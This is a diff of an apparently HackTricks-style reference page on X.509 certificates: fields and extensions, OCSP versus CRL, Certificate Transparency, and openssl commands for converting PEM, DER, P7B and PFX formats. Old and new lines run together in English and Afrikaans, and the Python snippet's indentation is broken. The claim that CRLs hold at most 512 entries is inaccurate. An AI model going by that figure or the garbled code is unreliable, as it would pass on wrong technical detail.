- **Common Name (CN)**: Domains covered by the certificate.
- **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details.
- **Distinguished Name (DN)** encapsulates the full subject identification.
- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA.
- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date.
- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key.
- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application.
#### **Key Usage and Extensions**
- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment.
- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication.
- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively.
- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys.
- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status.
- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate.
#### **Sleutel Gebruik en Uitbreidings**
- **Sleutel Gebruik** identifiseer kriptografiese toepassings van die publieke sleutel, soos digitale handtekening of sleutel versleuteling.
- **Verlengde Sleutel Gebruik** beperk verder die sertifikaat se gebruiksgevalle, bv. vir TLS bedienerverifikasie.
- **Onderwerp Alternatiewe Naam** en **Basiese Beperking** definieer addisionele gasheername wat deur die sertifikaat gedek word en of dit 'n CA of eindentiteit sertifikaat is, onderskeidelik.
- Identifiseerders soos **Onderwerp Sleutel Identifiseerder** en **Gesags Sleutel Identifiseerder** verseker uniekheid en opspoorbaarheid van sleutels.
- **Gesags Inligting Toegang** en **CRL Verspreidingspunte** bied paaie om die uitreikende CA te verifieer en die sertifikaat se herroepingstatus te kontroleer.
- **CT Precertificate SCTs** bied deursigtigheid logs, wat van kardinale belang is vir publieke vertroue in die sertifikaat.
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend
# Load an x509 certificate (assuming cert.pem is a certificate file)
with open("cert.pem", "rb") as file:
cert_data = file.read()
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
cert_data = file.read()
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
# Accessing fields
serial_number = certificate.serial_number
@ -63,133 +54,104 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}")
print(f"Public Key: {public_key}")
```
### **Verskil tussen OCSP en CRL Verspreidingspunte**
### **Difference between OCSP and CRL Distribution Points**
**OCSP** (**RFC 2560**) behels 'n kliënt en 'n responder wat saamwerk om te kontroleer of 'n digitale publieke sleutelsertifikaat herroep is, sonder om die volle **CRL** af te laai. Hierdie metode is meer doeltreffend as die tradisionele **CRL**, wat 'n lys van herroepte sertifikaatserienommers verskaf, maar vereis dat 'n potensieel groot lêer afgelaai word. CRL's kan tot 512 inskrywings insluit. Meer besonderhede is beskikbaar [hier](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
### **Wat is Sertifikaat Deursigtigheid**
### **What is Certificate Transparency**
Sertifikaat Deursigtigheid help om sertifikaatverwante bedreigings te bekamp deur te verseker dat die uitreiking en bestaan van SSL-sertifikate sigbaar is vir domeineienaars, CA's en gebruikers. Die doelwitte is:
Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are:
- Om te voorkom dat CA's SSL-sertifikate vir 'n domein uitreik sonder die domeineienaar se kennis.
- Om 'n oop ouditstelsel te vestig vir die opsporing van per ongeluk of kwaadwillig uitgereikte sertifikate.
- Om gebruikers te beskerm teen bedrogsertifikate.
- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge.
- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates.
- Safeguarding users against fraudulent certificates.
#### **Sertifikaat Logs**
#### **Certificate Logs**
Sertifikaat logs is publiek ouditbaar, append-only rekords van sertifikate, wat deur netwerkdienste onderhou word. Hierdie logs bied kriptografiese bewysstukke vir ouditdoeleindes. Beide uitreikingsowerhede en die publiek kan sertifikate aan hierdie logs indien of dit raadpleeg vir verifikasie. Terwyl die presiese aantal logbedieners nie vasgestel is nie, word verwag dat dit minder as 'n duisend wêreldwyd sal wees. Hierdie bedieners kan onafhanklik bestuur word deur CA's, ISP's, of enige belangstellende entiteit.
Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity.
#### **Navraag**
#### **Query**
Om Sertifikaat Deursigtigheid logs vir enige domein te verken, besoek [https://crt.sh/](https://crt.sh).
To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh).
Verskillende formate bestaan vir die stoor van sertifikate, elk met sy eie gebruiksgevalle en kompatibiliteit. Hierdie opsomming dek die hoofformate en bied leiding oor die omskakeling tussen hulle.
Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them.
## **Formate**
## **Formats**
### **PEM Formaat**
### **PEM Format**
- Meest gebruikte formaat vir sertifikate.
- Vereis aparte lêers vir sertifikate en private sleutels, gekodeer in Base64 ASCII.
- Algemene uitbreidings: .cer, .crt, .pem, .key.
- Primêr gebruik deur Apache en soortgelyke bedieners.
- Most widely used format for certificates.
- Requires separate files for certificates and private keys, encoded in Base64 ASCII.
- Common extensions: .cer, .crt, .pem, .key.
- Primarily used by Apache and similar servers.
### **DER Formaat**
### **DER Format**
- 'n Binaire formaat van sertifikate.
- Ontbreek die "BEGIN/END CERTIFICATE" verklarings wat in PEM-lêers gevind word.
- Algemene uitbreidings: .cer, .der.
- Gereeld gebruik met Java platforms.
- A binary format of certificates.
- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files.
- Common extensions: .cer, .der.
- Often used with Java platforms.
### **P7B/PKCS#7 Formaat**
### **P7B/PKCS#7 Format**
- Gestoor in Base64 ASCII, met uitbreidings .p7b of .p7c.
- Bevat slegs sertifikate en kettingsertifikate, met uitsluiting van die private sleutel.
- Gesteun deur Microsoft Windows en Java Tomcat.
- Stored in Base64 ASCII, with extensions .p7b or .p7c.
- Contains only certificates and chain certificates, excluding the private key.
- Supported by Microsoft Windows and Java Tomcat.
### **PFX/P12/PKCS#12 Formaat**
### **PFX/P12/PKCS#12 Format**
- 'n Binaire formaat wat bedienersertifikate, intermediêre sertifikate, en private sleutels in een lêer inkapsuleer.
- Uitbreidings: .pfx, .p12.
- Hoofsaaklik gebruik op Windows vir sertifikaat invoer en uitvoer.
- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file.
- Extensions: .pfx, .p12.
- Mainly used on Windows for certificate import and export.
### **Omskakeling van Formate**
### **Converting Formats**
**PEM conversions** are essential for compatibility:
- **x509 to PEM**
**PEM omskakelings** is noodsaaklik vir kompatibiliteit:
- **x509 na PEM**
```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
- **PEM to DER**
- **PEM na DER**
```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der
```
- **DER to PEM**
- **DER na PEM**
```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem
```
- **PEM to P7B**
- **PEM na P7B**
```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
```
- **PKCS7 to PEM**
- **PKCS7 na PEM**
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
**PFX omskakelings** is noodsaaklik vir die bestuur van sertifikate op Windows:
**PFX conversions** are crucial for managing certificates on Windows:
- **PFX to PEM**
- **PFX na PEM**
```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
- **PFX to PKCS#8** involves two steps:
1. Convert PFX to PEM
- **PFX na PKCS#8** behels twee stappe:
1. Skakel PFX na PEM om
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
2. Convert PEM to PKCS8
2. Skakel PEM na PKCS8
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
- **P7B to PFX** also requires two commands:
1. Convert P7B to CER
- **P7B na PFX** vereis ook twee opdragte:
1. Skakel P7B na CER om
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
2. Convert CER and Private Key to PFX
2. Skakel CER en Privaat Sleutel na PFX om
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
---
<figure><img src="../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
---
{{#include ../banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More